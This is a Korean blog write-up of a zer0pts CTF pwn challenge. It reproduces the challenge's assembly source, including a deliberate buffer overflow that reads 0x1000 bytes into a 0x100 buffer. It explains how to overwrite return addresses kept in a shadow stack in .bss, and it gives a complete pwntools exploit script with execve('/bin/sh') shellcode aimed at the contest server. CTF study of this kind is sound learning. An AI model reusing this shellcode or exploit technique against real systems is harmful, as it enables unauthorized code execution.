문제 풀이 환경 : ubuntu 16.04 사용 툴 : IDA 7.5 pro |
3/6 - 3/7 한국시간으로 오후 9시에 끝났다. 풀긴 풀었는데 대회시간 끝나고 풀어서 아쉽다. 아 오늘은 조금 특별하게 존댓말로 작성을 해보겠습니다.
문제 설명에 저렇게 적혀있는데 이거를 약 한시간 뒤에 알았습니다 ㅎㅎ; 암튼 단순히 return address를 덮는 문제가 아니라는 것이군요.
주어진 파일은 이렇게 세개입니다. 소스코드! main.S가 주어집니다.
Analysis
main.S
global _start
section .text
%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
mov ecx, [__stack_depth]
mov qword [__stack_shadow + rcx * 8], %%return_address
inc dword [__stack_depth]
;; goto function
jmp %1
%%return_address:
%endmacro
%macro ret 0
;; goto __stack_shadow[--__stack_depth];
dec dword [__stack_depth]
mov ecx, [__stack_depth]
jmp qword [__stack_shadow + rcx * 8]
%endmacro
_start:
call notvuln
call exit
notvuln:
;; char buf[0x100];
enter 0x100, 0
;; vuln();
call vuln
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x100);
mov edx, 0x100
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return 0;
xor eax, eax
ret
vuln:
;; char buf[0x100];
enter 0x100, 0
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x1000);
mov edx, 0x1000 ; [!] vulnerability
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return;
leave
ret
read:
xor eax, eax
syscall
ret
write:
xor eax, eax
inc eax
syscall
ret
exit:
mov eax, 60
syscall
hlt
section .data
msg_data:
db "Data: "
__stack_depth:
dd 0
section .bss
__stack_shadow:
resb 1024
대놓고 vuln 함수에서 bof가 터집니다.
그리고 이쯤에서 주어진 md파일을 읽어봅시다.
...
It doesn't save the return address on the stack but saves it into an array at the bss section.
Since we don't have the return address on the stack, the attacker can't abuse stack overflow to overwrite the return address :)
...
저 부분에 주목해서 해석을 해보면 대충 아래와 같습니다.
...
return address를 stack에 저장하지 않고 bss 영역에 저장합니다.
stack에 return address가 없으므로 공격자는 stack overflow를 사용하여 return address를 덮어쓸 수 없습니다.
...
그렇단 말은 bss 영역의 return address를 덮으란 소리입니다.
How to exploit
보호기법은 클린합니다. NX disabled이므로 64bit 쉘코드를 이용해야겠다고 생각했습니다.
원하는 곳에 원하는 값을 적을 수 있습니까?
네, 그렇습니다. vuln 함수에서 0x100 + RBP 을 넣으면 [RBP-0x100]에 우리가 원하는 값을 적을 수 있습니다.
;; read(0, buf, 0x1000);
mov edx, 0x1000 ; [!] vulnerability
lea rsi, [rbp-0x100]
xor edi, edi
call read
참고로 return address는 bss영역에서 __stack_shadow라는 이름이고, 주소값은 0x600234 입니다.
아래와 같이 return address들이 저기에 적혀있는 모습을 확인할 수 있습니다.
지금 저기 동그라미 친 곳은 vuln함수의 read함수가 되돌아갈 주소입니다.
저 0x400165가 저장된 주소인 0x600234+8 에 쉘코드 주소를 넣어줘야 합니다.
그러면 0x400165 주소로 가지 않고 쉘코드 주소로 이동하여 쉘코드가 실행이 되겠지요.
끝났습니다.. 정리하면 아래와 같이 풀 것입니다.
Let's exploit
from pwn import *
#p = process('./chall')
p = remote('pwn.ctf.zer0pts.com', 9011)
e = ELF('./chall')
# 0x600234+8
# bss = 0x600234
input = 0x600334 + 8
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = ''
payload += 'A' * 0x100
payload += p64(input)
payload2 = ''
payload2 += p64(0x600244)
payload2 += shellcode
pause()
p.sendafter(': ', payload) # vuln
p.sendafter(': ', payload2) # not vuln
p.interactive()
풀 때는 몰랐는데 풀고나니 쉬운 문제였습니다.ㅠ
'CTF > Write UPs' 카테고리의 다른 글
[picoCTF 2021 : pwn] 내가 푼 문제들 풀이 (0) | 2021.03.31 |
---|---|
[Dreamhack CTF Season 1 Round #4 : crypto] Textbook-DH 풀이 (Diffie-Hellman) (0) | 2021.03.18 |
[HackingCamp CTF 2021 : pwn] vuln 풀이 (출제자 풀이) (0) | 2021.02.25 |
[HackingCamp CTF 2021 : pwn] Secure Test 풀이 (언인텐) (0) | 2021.02.24 |
[SECCON 2018] kindvm 풀이 (0) | 2021.02.18 |